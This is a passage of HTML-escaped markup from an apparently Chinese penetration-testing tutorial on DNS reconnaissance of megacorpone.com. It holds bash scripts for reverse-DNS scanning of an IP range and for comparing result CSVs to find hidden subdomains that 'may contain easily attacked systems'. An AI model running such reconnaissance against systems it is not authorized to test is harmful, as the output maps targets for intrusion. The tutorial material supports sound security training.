class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;177&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;178&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;179&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;180&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 输出统计信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;181&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;182&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;扫描完成&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;183&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;结束时间: &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;184&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;总耗时: &lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;TOTAL_TIME &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt; 分钟 &lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;TOTAL_TIME &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt; 秒&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;185&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;共扫描: &lt;/span&gt;&lt;span class="nv"&gt;$COUNT&lt;/span&gt;&lt;span class="s2"&gt; 个IP地址&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;186&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;发现: &lt;/span&gt;&lt;span class="nv"&gt;$FOUND&lt;/span&gt;&lt;span class="s2"&gt; 个反向DNS记录&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;187&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;CSV文件: &lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;188&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;189&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;190&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 清理临时文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;191&lt;/span&gt;&lt;span class="cl"&gt;rm -f &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704150011190" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704150011190.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704150026893" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704150026893.png"&gt;&lt;/p&gt;
&lt;p&gt;对比可以发现，反向查找出来了一些正向用字典没又找到的子域名。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704150300070" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704150300070.png"&gt;&lt;/p&gt;
&lt;p&gt;用命令来辅助我们发现新域名，这些新域名，新IP中可能包含易于攻击的系统。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;comm -13 &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;awk -F, &lt;span class="s1"&gt;&amp;#39;NR&amp;gt;1{print $1}&amp;#39;&lt;/span&gt; megacorpone.com.csv &lt;span class="p"&gt;|&lt;/span&gt; sort -u&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;awk -F, &lt;span class="s1"&gt;&amp;#39;NR&amp;gt;1 &amp;amp;&amp;amp; $2~/megacorpone\.com$/{print $2}&amp;#39;&lt;/span&gt; 167.114.21_50-100_reverse_dns.csv &lt;span class="p"&gt;|&lt;/span&gt; sort -u&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; xargs -I&lt;span class="o"&gt;{}&lt;/span&gt; grep -i &lt;span class="s2"&gt;&amp;#34;,{}&lt;/span&gt;$&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; 167.114.21_50-100_reverse_dns.csv &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; column -t -s, -N &lt;span class="s2"&gt;&amp;#34;IP地址,域名&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704151254495" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704151254495.png"&gt;&lt;/p&gt;
&lt;p&gt;对两个CSV细致分析的还可以用下面这个脚本&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 脚本名称: dns_analyzer.sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 功能: 智能分析DNS扫描CSV文件，支持子域名统计和反向DNS统计&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 用法: ./dns_analyzer.sh 输入文件.csv&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 错误处理&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;die&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;错误: &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查参数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$#&lt;/span&gt; -ne &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;用法: &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt; 输入文件.csv&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;INPUT_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; ! -f &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$INPUT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;文件不存在: &lt;/span&gt;&lt;span class="nv"&gt;$INPUT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检测文件类型&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; head -1 &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$INPUT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -qE &lt;span class="s2"&gt;&amp;#34;子域名,IP地址|subdomain,ip&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;检测到子域名扫描CSV文件&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;FILE_TYPE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;subdomain&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;elif&lt;/span&gt; head -1 &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$INPUT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -qE &lt;span class="s2"&gt;&amp;#34;IP地址,域名|ip,domain&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;检测到反向DNS扫描CSV文件&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;FILE_TYPE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;reverse&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;无法识别CSV文件类型 - 请确保文件包含正确的标题行&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 美观的域名列表输出函数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;pretty_print_domains&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;domains&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 将域名拆分为数组&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -ra DOMAIN_ARRAY &lt;span class="o"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$domains&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;DOMAIN_ARRAY&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 计算最大域名长度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; domain in &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;DOMAIN_ARRAY&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$domain&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; xargs&lt;span class="k"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 去除前后空格&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;domain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; len &amp;gt; max_length &lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$len&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 计算列数和每列宽度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;columns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt; &lt;span class="k"&gt;$(&lt;/span&gt;tput cols&lt;span class="k"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;max_length &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; columns &amp;lt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="nv"&gt;columns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; columns &amp;gt; &lt;span class="m"&gt;6&lt;/span&gt; &lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="nv"&gt;columns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;6&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 计算行数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;rows&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;count &lt;span class="o"&gt;+&lt;/span&gt; columns &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; columns &lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 格式化输出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; &lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="p"&gt;;&lt;/span&gt; i&amp;lt;rows&lt;span class="p"&gt;;&lt;/span&gt; i++ &lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt;
